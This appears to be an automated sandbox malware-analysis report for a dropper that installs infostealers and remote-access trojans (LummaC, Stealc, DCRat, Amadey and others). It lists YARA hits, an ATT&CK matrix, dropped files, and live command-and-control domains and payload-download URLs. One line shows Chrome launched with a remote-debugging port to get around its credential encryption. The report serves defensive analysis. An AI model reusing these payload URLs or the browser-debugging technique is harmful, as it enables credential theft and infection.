Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF

Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: number of queries: 1005

Source: Yara match	File source: 0000001A.00000003.2958265937.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2957089920.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2989174141.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2900363212.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2962946644.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2957786310.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2917030280.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 376a884392.exe PID: 6788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 376a884392.exe.exe PID: 4232, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 897a67bb94.exe PID: 3220, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected DCRat

Source: Yara match	File source: 00000010.00000002.2680511643.0000000013557000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BrokerhostNet.exe PID: 4632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MCdUWiJkswOzRL.exe PID: 5956, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 376a884392.exe PID: 6788, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 376a884392.exe.exe PID: 4232, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 9.3.muNJF0r.exe.73d570a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.BrokerhostNet.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.muNJF0r.exe.6ac270a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.muNJF0r.exe.6ac270a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.2226055818.0000000006A74000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.2464502971.0000000000EE2000.00000002.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2226609838.0000000007387000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Bridgecontainerserver\BrokerhostNet.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 0000002E.00000003.2725067964.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2493573409.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 91a3357555.exe PID: 1012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 91a3357555.exe.exe PID: 5172, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected zgRAT

Source: Yara match	File source: 9.3.muNJF0r.exe.73d570a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.BrokerhostNet.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.muNJF0r.exe.6ac270a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.muNJF0r.exe.6ac270a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Bridgecontainerserver\BrokerhostNet.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	21 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	2 Bypass User Account Control	111 Deobfuscate/Decode Files or Information	LSASS Memory	23 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	3610 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 Command and Scripting Interpreter	211 Registry Run Keys / Startup Folder	12 Process Injection	14 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	9101 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	211 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	481 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	22 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	481 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	100%	Avira	VBS/Runner.VPG
C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	100%	Avira	HEUR/AGEN.1357628
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe	100%	Avira	VBS/Runner.VPG
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Bridgecontainerserver\BrokerhostNet.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe	100%	Avira	VBS/Runner.VPG
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	100%	Joe Sandbox ML
C:\Bridgecontainerserver\BrokerhostNet.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	100%	Joe Sandbox ML
C:\Bridgecontainerserver\BrokerhostNet.exe	58%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	58%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	58%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1016097001\ffce2e0a66.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1016098001\76b7b2c16d.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	58%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\Desktop\AdKFKFnN.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\AymfKYeB.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\KhFvuBjj.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\QIbCILuV.log	25%	ReversingLabs
C:\Users\user\Desktop\TpmKebIc.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\UlZluYeg.log	25%	ReversingLabs
C:\Users\user\Desktop\boWaNnOy.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\iRizqjSy.log	8%	ReversingLabs
C:\Users\user\Desktop\vkhfhZiZ.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\yoQeKGzB.log	8%	ReversingLabs

Name	IP	Active	Malicious
example.org	93.184.215.14	true	false
chrome.cloudflare-dns.com	172.64.41.3	true	false
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false
contile.services.mozilla.com	34.117.188.166	true	false
shineugler.biz	172.67.177.250	true	true
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false
tacitglibbr.biz	172.67.164.37	true	true
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false
ipv4only.arpa	192.0.0.170	true	false
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false
push.services.mozilla.com	34.107.243.93	true	false
www.google.com	172.217.21.36	true	false
749858cm.renyash.ru	172.67.220.198	true	true
httpbin.org	34.226.108.155	true	false
star-mini.c10r.facebook.com	157.240.196.35	true	false
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false
twitter.com	104.244.42.129	true	false
plus.l.google.com	172.217.17.46	true	false
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false
dyna.wikimedia.org	185.15.58.224	true	false
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false
youtube.com	142.250.181.110	true	false
home.twentygr20sb.top	141.8.192.141	true	true
twentygr20sb.top	141.8.192.141	true	true
fg.microsoft.map.fastly.net	199.232.214.172	true	false
youtube-ui.l.google.com	142.250.181.142	true	false
reddit.map.fastly.net	151.101.1.140	true	false
sb.scorecardresearch.com	18.165.220.106	true	false
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false
www.reddit.com	unknown	unknown	false
spocs.getpocket.com	unknown	unknown	false
c.msn.com	unknown	unknown	false
ntp.msn.com	unknown	unknown	false
content-signature-2.cdn.mozilla.net	unknown	unknown	false
support.mozilla.org	unknown	unknown	false
firefox.settings.services.mozilla.com	unknown	unknown	false
www.youtube.com	unknown	unknown	false
browser.events.data.msn.com	unknown	unknown	false
www.facebook.com	unknown	unknown	false
assets.msn.com	unknown	unknown	false
detectportal.firefox.com	unknown	unknown	false
assets2.msn.com	unknown	unknown	false
bzib.nelreports.net	unknown	unknown	false
shavar.services.mozilla.com	unknown	unknown	false
apis.google.com	unknown	unknown	false
www.wikipedia.org	unknown	unknown	false
api.msn.com	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	true
sordid-snaked.cyou	true
http://185.215.113.206/	true
http://749858cm.renyash.ru/javascriptrequestApiBasePrivate.php	true
deafeninggeh.biz	true
http://185.215.113.43/Zu7JuNko/index.php	true
effecterectz.xyz	true
http://185.215.113.206/68b591d6548ec281/freebl3.dll	true
wrathful-jammy.cyou	true
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false
http://185.215.113.16/well/random.exe	false
awake-weaves.cyou	true
immureprech.biz	true
shineugler.biz	true
debonairnukk.xyz	true
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	true
http://185.215.113.16/mine/random.exe	false
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	true
http://185.215.113.16/luma/random.exe	false
diffuculttan.xyz	true
https://shineugler.biz/api	true
http://185.215.113.206/68b591d6548ec281/mozglue.dll	true
https://tacitglibbr.biz/api	true
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	true
http://185.215.113.16/steam/random.exe	false
http://185.215.113.206/c4becf79229cb002.php	true
https://www.google.com/async/newtab_promos	false
https://www.google.com/async/ddljson?async=ntp:2	false
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false
http://185.215.113.16/off/random.exe	false

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	376a884392.exe, 0000000C.00000003.2456952375.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457138517.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457039408.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2674809716.000000000557E000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2678659839.000000000557B000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/	376a884392.exe, 0000000C.00000003.2507615831.000000000581D000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2537109395.0000000005838000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2534674508.0000000005834000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2508157525.000000000581D000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2455820921.0000000000FAB000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2741973737.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2480671980.000000000581D000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2573226005.0000000005838000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2532877527.0000000005830000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2479634596.000000000581D000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2480988308.000000000581D000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2536979716.000000000581D000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2631548438.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2597878506.000000000581D000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2579884150.000000000581D000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2742234874.000000000100D000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2456045477.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2705670576.000000000581D000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2544141918.000000000581D000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2536727617.0000000005836000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2536017512.0000000005834000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	376a884392.exe, 0000000C.00000003.2456952375.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457138517.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457039408.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2674809716.000000000557E000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2678659839.000000000557B000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exeddp?g&	376a884392.exe, 0000000C.00000003.2742234874.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false
